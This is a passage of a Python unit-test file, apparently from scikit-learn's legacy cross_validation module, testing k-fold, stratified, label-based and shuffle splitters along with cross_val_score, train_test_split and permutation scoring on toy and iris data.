from sklearn.metrics import precision_score
from sklearn.externals import six
from sklearn.externals.six.moves import zip

from sklearn.linear_model import Ridge
from sklearn.multiclass import OneVsRestClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.svm import SVC
from sklearn.cluster import KMeans

from sklearn.preprocessing import Imputer
from sklearn.pipeline import Pipeline


class MockClassifier(object):
    """Dummy classifier to test the cross-validation"""

    def __init__(self, a=0, allow_nd=False):
        self.a = a
        self.allow_nd = allow_nd

    def fit(self, X, Y=None, sample_weight=None, class_prior=None,
            sparse_sample_weight=None, sparse_param=None, dummy_int=None,
            dummy_str=None, dummy_obj=None, callback=None):
        """The dummy arguments are to test that this fit function can
        accept non-array arguments through cross-validation, such as:
            - int
            - str (this is actually array-like)
            - object
            - function
        """
        self.dummy_int = dummy_int
        self.dummy_str = dummy_str
        self.dummy_obj = dummy_obj
        if callback is not None:
            callback(self)

        if self.allow_nd:
            X = X.reshape(len(X), -1)
        if X.ndim >= 3 and not self.allow_nd:
            raise ValueError('X cannot be d')
        if sample_weight is not None:
            assert_true(sample_weight.shape[0] == X.shape[0],
                        'MockClassifier extra fit_param sample_weight.shape[0]'
                        ' is {0}, should be {1}'.format(sample_weight.shape[0],
                                                        X.shape[0]))
        if class_prior is not None:
            assert_true(class_prior.shape[0] == len(np.unique(y)),
                        'MockClassifier extra fit_param class_prior.shape[0]'
                        ' is {0}, should be {1}'.format(class_prior.shape[0],
                                                        len(np.unique(y))))
        if sparse_sample_weight is not None:
            fmt = ('MockClassifier extra fit_param sparse_sample_weight'
                   '.shape[0] is {0}, should be {1}')
            assert_true(sparse_sample_weight.shape[0] == X.shape[0],
                        fmt.format(sparse_sample_weight.shape[0], X.shape[0]))
        if sparse_param is not None:
            fmt = ('MockClassifier extra fit_param sparse_param.shape '
                   'is ({0}, {1}), should be ({2}, {3})')
            assert_true(sparse_param.shape == P_sparse.shape,
                        fmt.format(sparse_param.shape[0],
                                   sparse_param.shape[1],
                                   P_sparse.shape[0], P_sparse.shape[1]))
        return self

    def predict(self, T):
        if self.allow_nd:
            T = T.reshape(len(T), -1)
        return T[:, 0]

    def score(self, X=None, Y=None):
        return 1. / (1 + np.abs(self.a))

    def get_params(self, deep=False):
        return {'a': self.a, 'allow_nd': self.allow_nd}

X = np.ones((10, 2))
X_sparse = coo_matrix(X)
W_sparse = coo_matrix((np.array([1]), (np.array([1]), np.array([0]))),
                      shape=(10, 1))
P_sparse = coo_matrix(np.eye(5))

# avoid StratifiedKFold's Warning about least populated class in y
y = np.arange(10) % 3

##############################################################################
# Tests


def check_valid_split(train, test, n_samples=None):
    # Use python sets to get more informative assertion failure messages
    train, test = set(train), set(test)

    # Train and test split should not overlap
    assert_equal(train.intersection(test), set())

    if n_samples is not None:
        # Check that the union of train an test split cover all the indices
        assert_equal(train.union(test), set(range(n_samples)))


def check_cv_coverage(cv, expected_n_iter=None, n_samples=None):
    # Check that a all the samples appear at least once in a test fold
    if expected_n_iter is not None:
        assert_equal(len(cv), expected_n_iter)
    else:
        expected_n_iter = len(cv)

    collected_test_samples = set()
    iterations = 0
    for train, test in cv:
        check_valid_split(train, test, n_samples=n_samples)
        iterations += 1
        collected_test_samples.update(test)

    # Check that the accumulated test samples cover the whole dataset
    assert_equal(iterations, expected_n_iter)
    if n_samples is not None:
        assert_equal(collected_test_samples, set(range(n_samples)))


def test_kfold_valueerrors():
    # Check that errors are raised if there is not enough samples
    assert_raises(ValueError, cval.KFold, 3, 4)

    # Check that a warning is raised if the least populated class has too few
    # members.
    y = [3, 3, -1, -1, 3]

    cv = assert_warns_message(Warning, "The least populated class",
                              cval.StratifiedKFold, y, 3)

    # Check that despite the warning the folds are still computed even
    # though all the classes are not necessarily represented at on each
    # side of the split at each split
    check_cv_coverage(cv, expected_n_iter=3, n_samples=len(y))

    # Check that errors are raised if all n_labels for individual
    # classes are less than n_folds.
    y = [3, 3, -1, -1, 2]

    assert_raises(ValueError, cval.StratifiedKFold, y, 3)

    # Error when number of folds is <= 1
    assert_raises(ValueError, cval.KFold, 2, 0)
    assert_raises(ValueError, cval.KFold, 2, 1)
    error_string = ("k-fold cross validation requires at least one"
                    " train / test split")
    assert_raise_message(ValueError, error_string,
                         cval.StratifiedKFold, y, 0)
    assert_raise_message(ValueError, error_string,
                         cval.StratifiedKFold, y, 1)

    # When n is not integer:
    assert_raises(ValueError, cval.KFold, 2.5, 2)

    # When n_folds is not integer:
    assert_raises(ValueError, cval.KFold, 5, 1.5)
    assert_raises(ValueError, cval.StratifiedKFold, y, 1.5)


def test_kfold_indices():
    # Check all indices are returned in the test folds
    kf = cval.KFold(300, 3)
    check_cv_coverage(kf, expected_n_iter=3, n_samples=300)

    # Check all indices are returned in the test folds even when equal-sized
    # folds are not possible
    kf = cval.KFold(17, 3)
    check_cv_coverage(kf, expected_n_iter=3, n_samples=17)


def test_kfold_no_shuffle():
    # Manually check that KFold preserves the data ordering on toy datasets
    splits = iter(cval.KFold(4, 2))
    train, test = next(splits)
    assert_array_equal(test, [0, 1])
    assert_array_equal(train, [2, 3])

    train, test = next(splits)
    assert_array_equal(test, [2, 3])
    assert_array_equal(train, [0, 1])

    splits = iter(cval.KFold(5, 2))
    train, test = next(splits)
    assert_array_equal(test, [0, 1, 2])
    assert_array_equal(train, [3, 4])

    train, test = next(splits)
    assert_array_equal(test, [3, 4])
    assert_array_equal(train, [0, 1, 2])


def test_stratified_kfold_no_shuffle():
    # Manually check that StratifiedKFold preserves the data ordering as much
    # as possible on toy datasets in order to avoid hiding sample dependencies
    # when possible
    splits = iter(cval.StratifiedKFold([1, 1, 0, 0], 2))
    train, test = next(splits)
    assert_array_equal(test, [0, 2])
    assert_array_equal(train, [1, 3])

    train, test = next(splits)
    assert_array_equal(test, [1, 3])
    assert_array_equal(train, [0, 2])

    splits = iter(cval.StratifiedKFold([1, 1, 1, 0, 0, 0, 0], 2))
    train, test = next(splits)
    assert_array_equal(test, [0, 1, 3, 4])
    assert_array_equal(train, [2, 5, 6])

    train, test = next(splits)
    assert_array_equal(test, [2, 5, 6])
    assert_array_equal(train, [0, 1, 3, 4])


def test_stratified_kfold_ratios():
    # Check that stratified kfold preserves label ratios in individual splits
    # Repeat with shuffling turned off and on
    n_samples = 1000
    labels = np.array([4] * int(0.10 * n_samples) +
                      [0] * int(0.89 * n_samples) +
                      [1] * int(0.01 * n_samples))
    for shuffle in [False, True]:
        for train, test in cval.StratifiedKFold(labels, 5, shuffle=shuffle):
            assert_almost_equal(np.sum(labels[train] == 4) / len(train), 0.10,
                                2)
            assert_almost_equal(np.sum(labels[train] == 0) / len(train), 0.89,
                                2)
            assert_almost_equal(np.sum(labels[train] == 1) / len(train), 0.01,
                                2)
            assert_almost_equal(np.sum(labels[test] == 4) / len(test), 0.10, 2)
            assert_almost_equal(np.sum(labels[test] == 0) / len(test), 0.89, 2)
            assert_almost_equal(np.sum(labels[test] == 1) / len(test), 0.01, 2)


def test_kfold_balance():
    # Check that KFold returns folds with balanced sizes
    for kf in [cval.KFold(i, 5) for i in range(11, 17)]:
        sizes = []
        for _, test in kf:
            sizes.append(len(test))

        assert_true((np.max(sizes) - np.min(sizes)) <= 1)
        assert_equal(np.sum(sizes), kf.n)


def test_stratifiedkfold_balance():
    # Check that KFold returns folds with balanced sizes (only when
    # stratification is possible)
    # Repeat with shuffling turned off and on
    labels = [0] * 3 + [1] * 14
    for shuffle in [False, True]:
        for skf in [cval.StratifiedKFold(labels[:i], 3, shuffle=shuffle)
                    for i in range(11, 17)]:
            sizes = []
            for _, test in skf:
                sizes.append(len(test))

            assert_true((np.max(sizes) - np.min(sizes)) <= 1)
            assert_equal(np.sum(sizes), skf.n)


def test_shuffle_kfold():
    # Check the indices are shuffled properly, and that all indices are
    # returned in the different test folds
    kf = cval.KFold(300, 3, shuffle=True, random_state=0)
    ind = np.arange(300)

    all_folds = None
    for train, test in kf:
        assert_true(np.any(np.arange(100) != ind[test]))
        assert_true(np.any(np.arange(100, 200) != ind[test]))
        assert_true(np.any(np.arange(200, 300) != ind[test]))

        if all_folds is None:
            all_folds = ind[test].copy()
        else:
            all_folds = np.concatenate((all_folds, ind[test]))

    all_folds.sort()
    assert_array_equal(all_folds, ind)


def test_shuffle_stratifiedkfold():
    # Check that shuffling is happening when requested, and for proper
    # sample coverage
    labels = [0] * 20 + [1] * 20
    kf0 = list(cval.StratifiedKFold(labels, 5, shuffle=True, random_state=0))
    kf1 = list(cval.StratifiedKFold(labels, 5, shuffle=True, random_state=1))
    for (_, test0), (_, test1) in zip(kf0, kf1):
        assert_true(set(test0) != set(test1))
    check_cv_coverage(kf0, expected_n_iter=5, n_samples=40)


def test_kfold_can_detect_dependent_samples_on_digits():  # see #2372
    # The digits samples are dependent: they are apparently grouped by authors
    # although we don't have any information on the groups segment locations
    # for this data. We can highlight this fact be computing k-fold cross-
    # validation with and without shuffling: we observe that the shuffling case
    # wrongly makes the IID assumption and is therefore too optimistic: it
    # estimates a much higher accuracy (around 0.96) than the non
    # shuffling variant (around 0.86).

    digits = load_digits()
    X, y = digits.data[:800], digits.target[:800]
    model = SVC(C=10, gamma=0.005)
    n = len(y)

    cv = cval.KFold(n, 5, shuffle=False)
    mean_score = cval.cross_val_score(model, X, y, cv=cv).mean()
    assert_greater(0.88, mean_score)
    assert_greater(mean_score, 0.85)

    # Shuffling the data artificially breaks the dependency and hides the
    # overfitting of the model with regards to the writing style of the authors
    # by yielding a seriously overestimated score:

    cv = cval.KFold(n, 5, shuffle=True, random_state=0)
    mean_score = cval.cross_val_score(model, X, y, cv=cv).mean()
    assert_greater(mean_score, 0.95)

    cv = cval.KFold(n, 5, shuffle=True, random_state=1)
    mean_score = cval.cross_val_score(model, X, y, cv=cv).mean()
    assert_greater(mean_score, 0.95)

    # Similarly, StratifiedKFold should try to shuffle the data as little
    # as possible (while respecting the balanced class constraints)
    # and thus be able to detect the dependency by not overestimating
    # the CV score either. As the digits dataset is approximately balanced
    # the estimated mean score is close to the score measured with
    # non-shuffled KFold

    cv = cval.StratifiedKFold(y, 5)
    mean_score = cval.cross_val_score(model, X, y, cv=cv).mean()
    assert_greater(0.88, mean_score)
    assert_greater(mean_score, 0.85)


def test_label_kfold():
    rng = np.random.RandomState(0)

    # Parameters of the test
    n_labels = 15
    n_samples = 1000
    n_folds = 5

    # Construct the test data
    tolerance = 0.05 * n_samples  # 5 percent error allowed
    labels = rng.randint(0, n_labels, n_samples)
    folds = cval.LabelKFold(labels, n_folds=n_folds).idxs
    ideal_n_labels_per_fold = n_samples // n_folds

    # Check that folds have approximately the same size
    assert_equal(len(folds), len(labels))
    for i in np.unique(folds):
        assert_greater_equal(tolerance,
                             abs(sum(folds == i) - ideal_n_labels_per_fold))

    # Check that each label appears only in 1 fold
    for label in np.unique(labels):
        assert_equal(len(np.unique(folds[labels == label])), 1)

    # Check that no label is on both sides of the split
    labels = np.asarray(labels, dtype=object)
    for train, test in cval.LabelKFold(labels, n_folds=n_folds):
        assert_equal(len(np.intersect1d(labels[train], labels[test])), 0)

    # Construct the test data
    labels = ['Albert', 'Jean', 'Bertrand', 'Michel', 'Jean',
              'Francis', 'Robert', 'Michel', 'Rachel', 'Lois',
              'Michelle', 'Bernard', 'Marion', 'Laura', 'Jean',
              'Rachel', 'Franck', 'John', 'Gael', 'Anna', 'Alix',
              'Robert', 'Marion', 'David', 'Tony', 'Abel', 'Becky',
              'Madmood', 'Cary', 'Mary', 'Alexandre', 'David', 'Francis',
              'Barack', 'Abdoul', 'Rasha', 'Xi', 'Silvia']
    labels = np.asarray(labels, dtype=object)

    n_labels = len(np.unique(labels))
    n_samples = len(labels)
    n_folds = 5
    tolerance = 0.05 * n_samples  # 5 percent error allowed
    folds = cval.LabelKFold(labels, n_folds=n_folds).idxs
    ideal_n_labels_per_fold = n_samples // n_folds

    # Check that folds have approximately the same size
    assert_equal(len(folds), len(labels))
    for i in np.unique(folds):
        assert_greater_equal(tolerance,
                             abs(sum(folds == i) - ideal_n_labels_per_fold))

    # Check that each label appears only in 1 fold
    for label in np.unique(labels):
        assert_equal(len(np.unique(folds[labels == label])), 1)

    # Check that no label is on both sides of the split
    for train, test in cval.LabelKFold(labels, n_folds=n_folds):
        assert_equal(len(np.intersect1d(labels[train], labels[test])), 0)

    # Should fail if there are more folds than labels
    labels = np.array([1, 1, 1, 2, 2])
    assert_raises(ValueError, cval.LabelKFold, labels, n_folds=3)


def test_shuffle_split():
    ss1 = cval.ShuffleSplit(10, test_size=0.2, random_state=0)
    ss2 = cval.ShuffleSplit(10, test_size=2, random_state=0)
    ss3 = cval.ShuffleSplit(10, test_size=np.int32(2), random_state=0)
    for typ in six.integer_types:
        ss4 = cval.ShuffleSplit(10, test_size=typ(2), random_state=0)
    for t1, t2, t3, t4 in zip(ss1, ss2, ss3, ss4):
        assert_array_equal(t1[0], t2[0])
        assert_array_equal(t2[0], t3[0])
        assert_array_equal(t3[0], t4[0])
        assert_array_equal(t1[1], t2[1])
        assert_array_equal(t2[1], t3[1])
        assert_array_equal(t3[1], t4[1])


def test_stratified_shuffle_split_init():
    y = np.asarray([0, 1, 1, 1, 2, 2, 2])
    # Check that error is raised if there is a class with only one sample
    assert_raises(ValueError, cval.StratifiedShuffleSplit, y, 3, 0.2)

    # Check that error is raised if the test set size is smaller than n_classes
    assert_raises(ValueError, cval.StratifiedShuffleSplit, y, 3, 2)
    # Check that error is raised if the train set size is smaller than
    # n_classes
    assert_raises(ValueError, cval.StratifiedShuffleSplit, y, 3, 3, 2)

    y = np.asarray([0, 0, 0, 1, 1, 1, 2, 2, 2])
    # Check that errors are raised if there is not enough samples
    assert_raises(ValueError, cval.StratifiedShuffleSplit, y, 3, 0.5, 0.6)
    assert_raises(ValueError, cval.StratifiedShuffleSplit, y, 3, 8, 0.6)
    assert_raises(ValueError, cval.StratifiedShuffleSplit, y, 3, 0.6, 8)

    # Train size or test size too small
    assert_raises(ValueError, cval.StratifiedShuffleSplit, y, train_size=2)
    assert_raises(ValueError, cval.StratifiedShuffleSplit, y, test_size=2)


def test_stratified_shuffle_split_iter():
    ys = [np.array([1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 3, 3]),
          np.array([0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 3]),
          np.array([0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2]),
          np.array([1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4]),
          np.array([-1] * 800 + [1] * 50)
          ]

    for y in ys:
        sss = cval.StratifiedShuffleSplit(y, 6, test_size=0.33,
                                          random_state=0)
        for train, test in sss:
            assert_array_equal(np.unique(y[train]), np.unique(y[test]))
            # Checks if folds keep classes proportions
            p_train = (np.bincount(np.unique(y[train], return_inverse=True)[1])
                       / float(len(y[train])))
            p_test = (np.bincount(np.unique(y[test], return_inverse=True)[1])
                      / float(len(y[test])))
            assert_array_almost_equal(p_train, p_test, 1)
            assert_equal(y[train].size + y[test].size, y.size)
            assert_array_equal(np.intersect1d(train, test), [])


def test_stratified_shuffle_split_even():
    # Test the StratifiedShuffleSplit, indices are drawn with a
    # equal chance
    n_folds = 5
    n_iter = 1000

    def assert_counts_are_ok(idx_counts, p):
        # Here we test that the distribution of the counts
        # per index is close enough to a binomial
        threshold = 0.05 / n_splits
        bf = stats.binom(n_splits, p)
        for count in idx_counts:
            p = bf.pmf(count)
            assert_true(p > threshold,
                        "An index is not drawn with chance corresponding "
                        "to even draws")

    for n_samples in (6, 22):
        labels = np.array((n_samples // 2) * [0, 1])
        splits = cval.StratifiedShuffleSplit(labels, n_iter=n_iter,
                                             test_size=1. / n_folds,
                                             random_state=0)

        train_counts = [0] * n_samples
        test_counts = [0] * n_samples
        n_splits = 0
        for train, test in splits:
            n_splits += 1
            for counter, ids in [(train_counts, train), (test_counts, test)]:
                for id in ids:
                    counter[id] += 1
        assert_equal(n_splits, n_iter)

        assert_equal(len(train), splits.n_train)
        assert_equal(len(test), splits.n_test)
        assert_equal(len(set(train).intersection(test)), 0)

        label_counts = np.unique(labels)
        assert_equal(splits.test_size, 1.0 / n_folds)
        assert_equal(splits.n_train + splits.n_test, len(labels))
        assert_equal(len(label_counts), 2)
        ex_test_p = float(splits.n_test) / n_samples
        ex_train_p = float(splits.n_train) / n_samples

        assert_counts_are_ok(train_counts, ex_train_p)
        assert_counts_are_ok(test_counts, ex_test_p)


def test_stratified_shuffle_split_overlap_train_test_bug():
    # See https://github.com/scikit-learn/scikit-learn/issues/6121 for
    # the original bug report
    labels = [0, 1, 2, 3] * 3 + [4, 5] * 5

    splits = cval.StratifiedShuffleSplit(labels, n_iter=1,
                                         test_size=0.5, random_state=0)
    train, test = next(iter(splits))

    assert_array_equal(np.intersect1d(train, test), [])


def test_predefinedsplit_with_kfold_split():
    # Check that PredefinedSplit can reproduce a split generated by Kfold.
    folds = -1 * np.ones(10)
    kf_train = []
    kf_test = []
    for i, (train_ind, test_ind) in enumerate(cval.KFold(10, 5, shuffle=True)):
        kf_train.append(train_ind)
        kf_test.append(test_ind)
        folds[test_ind] = i
    ps_train = []
    ps_test = []
    ps = cval.PredefinedSplit(folds)
    for train_ind, test_ind in ps:
        ps_train.append(train_ind)
        ps_test.append(test_ind)
    assert_array_equal(ps_train, kf_train)
    assert_array_equal(ps_test, kf_test)


def test_label_shuffle_split():
    ys = [np.array([1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 3, 3]),
          np.array([0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 3]),
          np.array([0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2]),
          np.array([1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4]),
          ]

    for y in ys:
        n_iter = 6
        test_size = 1. / 3
        slo = cval.LabelShuffleSplit(y, n_iter, test_size=test_size,
                                     random_state=0)

        # Make sure the repr works
        repr(slo)

        # Test that the length is correct
        assert_equal(len(slo), n_iter)

        y_unique = np.unique(y)

        for train, test in slo:
            # First test: no train label is in the test set and vice versa
            y_train_unique = np.unique(y[train])
            y_test_unique = np.unique(y[test])
            assert_false(np.any(np.in1d(y[train], y_test_unique)))
            assert_false(np.any(np.in1d(y[test], y_train_unique)))

            # Second test: train and test add up to all the data
            assert_equal(y[train].size + y[test].size, y.size)

            # Third test: train and test are disjoint
            assert_array_equal(np.intersect1d(train, test), [])

            # Fourth test: # unique train and test labels are correct,
            #              +- 1 for rounding error
            assert_true(abs(len(y_test_unique) -
                            round(test_size * len(y_unique))) <= 1)
            assert_true(abs(len(y_train_unique) -
                            round((1.0 - test_size) * len(y_unique))) <= 1)


def test_leave_label_out_changing_labels():
    # Check that LeaveOneLabelOut and LeavePLabelOut work normally if
    # the labels variable is changed before calling __iter__
    labels = np.array([0, 1, 2, 1, 1, 2, 0, 0])
    labels_changing = np.array(labels, copy=True)
    lolo = cval.LeaveOneLabelOut(labels)
    lolo_changing = cval.LeaveOneLabelOut(labels_changing)
    lplo = cval.LeavePLabelOut(labels, p=2)
    lplo_changing = cval.LeavePLabelOut(labels_changing, p=2)
    labels_changing[:] = 0
    for llo, llo_changing in [(lolo, lolo_changing), (lplo, lplo_changing)]:
        for (train, test), (train_chan, test_chan) in zip(llo, llo_changing):
            assert_array_equal(train, train_chan)
            assert_array_equal(test, test_chan)


def test_cross_val_score():
    clf = MockClassifier()
    for a in range(-10, 10):
        clf.a = a
        # Smoke test
        scores = cval.cross_val_score(clf, X, y)
        assert_array_equal(scores, clf.score(X, y))

        # test with multioutput y
        scores = cval.cross_val_score(clf, X_sparse, X)
        assert_array_equal(scores, clf.score(X_sparse, X))

        scores = cval.cross_val_score(clf, X_sparse, y)
        assert_array_equal(scores, clf.score(X_sparse, y))

        # test with multioutput y
        scores = cval.cross_val_score(clf, X_sparse, X)
        assert_array_equal(scores, clf.score(X_sparse, X))

    # test with X and y as list
    list_check = lambda x: isinstance(x, list)
    clf = CheckingClassifier(check_X=list_check)
    scores = cval.cross_val_score(clf, X.tolist(), y.tolist())

    clf = CheckingClassifier(check_y=list_check)
    scores = cval.cross_val_score(clf, X, y.tolist())

    assert_raises(ValueError, cval.cross_val_score, clf, X, y,
                  scoring="sklearn")

    # test with 3d X and
    X_3d = X[:, :, np.newaxis]
    clf = MockClassifier(allow_nd=True)
    scores = cval.cross_val_score(clf, X_3d, y)

    clf = MockClassifier(allow_nd=False)
    assert_raises(ValueError, cval.cross_val_score, clf, X_3d, y)


def test_cross_val_score_pandas():
    # check cross_val_score doesn't destroy pandas dataframe
    types = [(MockDataFrame, MockDataFrame)]
    try:
        from pandas import Series, DataFrame
        types.append((Series, DataFrame))
    except ImportError:
        pass
    for TargetType, InputFeatureType in types:
        # X dataframe, y series
        X_df, y_ser = InputFeatureType(X), TargetType(y)
        check_df = lambda x: isinstance(x, InputFeatureType)
        check_series = lambda x: isinstance(x, TargetType)
        clf = CheckingClassifier(check_X=check_df, check_y=check_series)
        cval.cross_val_score(clf, X_df, y_ser)


def test_cross_val_score_mask():
    # test that cross_val_score works with boolean masks
    svm = SVC(kernel="linear")
    iris = load_iris()
    X, y = iris.data, iris.target
    cv_indices = cval.KFold(len(y), 5)
    scores_indices = cval.cross_val_score(svm, X, y, cv=cv_indices)
    cv_indices = cval.KFold(len(y), 5)
    cv_masks = []
    for train, test in cv_indices:
        mask_train = np.zeros(len(y), dtype=np.bool)
        mask_test = np.zeros(len(y), dtype=np.bool)
        mask_train[train] = 1
        mask_test[test] = 1
        cv_masks.append((train, test))
    scores_masks = cval.cross_val_score(svm, X, y, cv=cv_masks)
    assert_array_equal(scores_indices, scores_masks)


def test_cross_val_score_precomputed():
    # test for svm with precomputed kernel
    svm = SVC(kernel="precomputed")
    iris = load_iris()
    X, y = iris.data, iris.target
    linear_kernel = np.dot(X, X.T)
    score_precomputed = cval.cross_val_score(svm, linear_kernel, y)
    svm = SVC(kernel="linear")
    score_linear = cval.cross_val_score(svm, X, y)
    assert_array_equal(score_precomputed, score_linear)

    # Error raised for non-square X
    svm = SVC(kernel="precomputed")
    assert_raises(ValueError, cval.cross_val_score, svm, X, y)

    # test error is raised when the precomputed kernel is not array-like
    # or sparse
    assert_raises(ValueError, cval.cross_val_score, svm,
                  linear_kernel.tolist(), y)


def test_cross_val_score_fit_params():
    clf = MockClassifier()
    n_samples = X.shape[0]
    n_classes = len(np.unique(y))

    DUMMY_INT = 42
    DUMMY_STR = '42'
    DUMMY_OBJ = object()

    def assert_fit_params(clf):
        # Function to test that the values are passed correctly to the
        # classifier arguments for non-array type

        assert_equal(clf.dummy_int, DUMMY_INT)
        assert_equal(clf.dummy_str, DUMMY_STR)
        assert_equal(clf.dummy_obj, DUMMY_OBJ)

    fit_params = {'sample_weight': np.ones(n_samples),
                  'class_prior': np.ones(n_classes) / n_classes,
                  'sparse_sample_weight': W_sparse,
                  'sparse_param': P_sparse,
                  'dummy_int': DUMMY_INT,
                  'dummy_str': DUMMY_STR,
                  'dummy_obj': DUMMY_OBJ,
                  'callback': assert_fit_params}
    cval.cross_val_score(clf, X, y, fit_params=fit_params)


def test_cross_val_score_score_func():
    clf = MockClassifier()
    _score_func_args = []

    def score_func(y_test, y_predict):
        _score_func_args.append((y_test, y_predict))
        return 1.0

    with warnings.catch_warnings(record=True):
        scoring = make_scorer(score_func)
        score = cval.cross_val_score(clf, X, y, scoring=scoring)
    assert_array_equal(score, [1.0, 1.0, 1.0])
    assert len(_score_func_args) == 3


def test_cross_val_score_errors():
    class BrokenEstimator:
        pass

    assert_raises(TypeError, cval.cross_val_score, BrokenEstimator(), X)


def test_train_test_split_errors():
    assert_raises(ValueError, cval.train_test_split)
    assert_raises(ValueError, cval.train_test_split, range(3), train_size=1.1)
    assert_raises(ValueError, cval.train_test_split, range(3), test_size=0.6,
                  train_size=0.6)
    assert_raises(ValueError, cval.train_test_split, range(3),
                  test_size=np.float32(0.6), train_size=np.float32(0.6))
    assert_raises(ValueError, cval.train_test_split, range(3),
                  test_size="wrong_type")
    assert_raises(ValueError, cval.train_test_split, range(3), test_size=2,
                  train_size=4)
    assert_raises(TypeError, cval.train_test_split, range(3),
                  some_argument=1.1)
    assert_raises(ValueError, cval.train_test_split, range(3), range(42))


def test_train_test_split():
    X = np.arange(100).reshape((10, 10))
    X_s = coo_matrix(X)
    y = np.arange(10)

    # simple test
    split = cval.train_test_split(X, y, test_size=None, train_size=.5)
    X_train, X_test, y_train, y_test = split
    assert_equal(len(y_test), len(y_train))
    # test correspondence of X and y
    assert_array_equal(X_train[:, 0], y_train * 10)
    assert_array_equal(X_test[:, 0], y_test * 10)

    # conversion of lists to arrays (deprecated?)
    with warnings.catch_warnings(record=True):
        split = cval.train_test_split(X, X_s, y.tolist())
    X_train, X_test, X_s_train, X_s_test, y_train, y_test = split
    assert_array_equal(X_train, X_s_train.toarray())
    assert_array_equal(X_test, X_s_test.toarray())

    # don't convert lists to anything else by default
    split = cval.train_test_split(X, X_s, y.tolist())
    X_train, X_test, X_s_train, X_s_test, y_train, y_test = split
    assert_true(isinstance(y_train, list))
    assert_true(isinstance(y_test, list))

    # allow nd-arrays
    X_4d = np.arange(10 * 5 * 3 * 2).reshape(10, 5, 3, 2)
    y_3d = np.arange(10 * 7 * 11).reshape(10, 7, 11)
    split = cval.train_test_split(X_4d, y_3d)
    assert_equal(split[0].shape, (7, 5, 3, 2))
    assert_equal(split[1].shape, (3, 5, 3, 2))
    assert_equal(split[2].shape, (7, 7, 11))
    assert_equal(split[3].shape, (3, 7, 11))

    # test stratification option
    y = np.array([1, 1, 1, 1, 2, 2, 2, 2])
    for test_size, exp_test_size in zip([2, 4, 0.25, 0.5, 0.75],
                                        [2, 4, 2, 4, 6]):
        train, test = cval.train_test_split(y,
                                            test_size=test_size,
                                            stratify=y,
                                            random_state=0)
        assert_equal(len(test), exp_test_size)
        assert_equal(len(test) + len(train), len(y))
        # check the 1:1 ratio of ones and twos in the data is preserved
        assert_equal(np.sum(train == 1), np.sum(train == 2))


def train_test_split_pandas():
    # check cross_val_score doesn't destroy pandas dataframe
    types = [MockDataFrame]
    try:
        from pandas import DataFrame
        types.append(DataFrame)
    except ImportError:
        pass
    for InputFeatureType in types:
        # X dataframe
        X_df = InputFeatureType(X)
        X_train, X_test = cval.train_test_split(X_df)
        assert_true(isinstance(X_train, InputFeatureType))
        assert_true(isinstance(X_test, InputFeatureType))

def train_test_split_mock_pandas():
    # X mock dataframe
    X_df = MockDataFrame(X)
    X_train, X_test = cval.train_test_split(X_df)
    assert_true(isinstance(X_train, MockDataFrame))
    assert_true(isinstance(X_test, MockDataFrame))


def test_cross_val_score_with_score_func_classification():
    iris = load_iris()
    clf = SVC(kernel='linear')

    # Default score (should be the accuracy score)
    scores = cval.cross_val_score(clf, iris.data, iris.target, cv=5)
    assert_array_almost_equal(scores, [0.97, 1., 0.97, 0.97, 1.], 2)

    # Correct classification score (aka. zero / one score) - should be the
    # same as the default estimator score
    zo_scores = cval.cross_val_score(clf, iris.data, iris.target,
                                     scoring="accuracy", cv=5)
    assert_array_almost_equal(zo_scores, [0.97, 1., 0.97, 0.97, 1.], 2)

    # F1 score (class are balanced so f1_score should be equal to zero/one
    # score
    f1_scores = cval.cross_val_score(clf, iris.data, iris.target,
                                     scoring="f1_weighted", cv=5)
    assert_array_almost_equal(f1_scores, [0.97, 1., 0.97, 0.97, 1.], 2)


def test_cross_val_score_with_score_func_regression():
    X, y = make_regression(n_samples=30, n_features=20, n_informative=5,
                           random_state=0)
    reg = Ridge()

    # Default score of the Ridge regression estimator
    scores = cval.cross_val_score(reg, X, y, cv=5)
    assert_array_almost_equal(scores, [0.94, 0.97, 0.97, 0.99, 0.92], 2)

    # R2 score (aka. determination coefficient) - should be the
    # same as the default estimator score
    r2_scores = cval.cross_val_score(reg, X, y, scoring="r2", cv=5)
    assert_array_almost_equal(r2_scores, [0.94, 0.97, 0.97, 0.99, 0.92], 2)

    # Mean squared error; this is a loss function, so "scores" are negative
    mse_scores = cval.cross_val_score(reg, X, y, cv=5,
                                      scoring="mean_squared_error")
    expected_mse = np.array([-763.07, -553.16, -274.38, -273.26, -1681.99])
    assert_array_almost_equal(mse_scores, expected_mse, 2)

    # Explained variance
    scoring = make_scorer(explained_variance_score)
    ev_scores = cval.cross_val_score(reg, X, y, cv=5, scoring=scoring)
    assert_array_almost_equal(ev_scores, [0.94, 0.97, 0.97, 0.99, 0.92], 2)


def test_permutation_score():
    iris = load_iris()
    X = iris.data
    X_sparse = coo_matrix(X)
    y = iris.target
    svm = SVC(kernel='linear')
    cv = cval.StratifiedKFold(y, 2)

    score, scores, pvalue = cval.permutation_test_score(
        svm, X, y, n_permutations=30, cv=cv, scoring="accuracy")
    assert_greater(score, 0.9)
    assert_almost_equal(pvalue, 0.0, 1)

    score_label, _, pvalue_label = cval.permutation_test_score(
        svm, X, y, n_permutations=30, cv=cv, scoring="accuracy",
        labels=np.ones(y.size), random_state=0)
    assert_true(score_label == score)
    assert_true(pvalue_label == pvalue)

    # check that we obtain the same results with a sparse representation
    svm_sparse = SVC(kernel='linear')
    cv_sparse = cval.StratifiedKFold(y, 2)
    score_label, _, pvalue_label = cval.permutation_test_score(
        svm_sparse, X_sparse, y, n_permutations=30, cv=cv_sparse,
        scoring="accuracy", labels=np.ones(y.size), random_state=0)

    assert_true(score_label == score)
    assert_true(pvalue_label == pvalue)

    # test with custom scoring object
    def custom_score(y_true, y_pred):
        return (((y_true == y_pred).sum() - (y_true != y_pred).sum())
                / y_true.shape[0])

    scorer = make_scorer(custom_score)
    score, _, pvalue = cval.permutation_test_score(
        svm, X, y, n_permutations=100, scoring=scorer, cv=cv, random_state=0)
    assert_almost_equal(score, .93, 2)
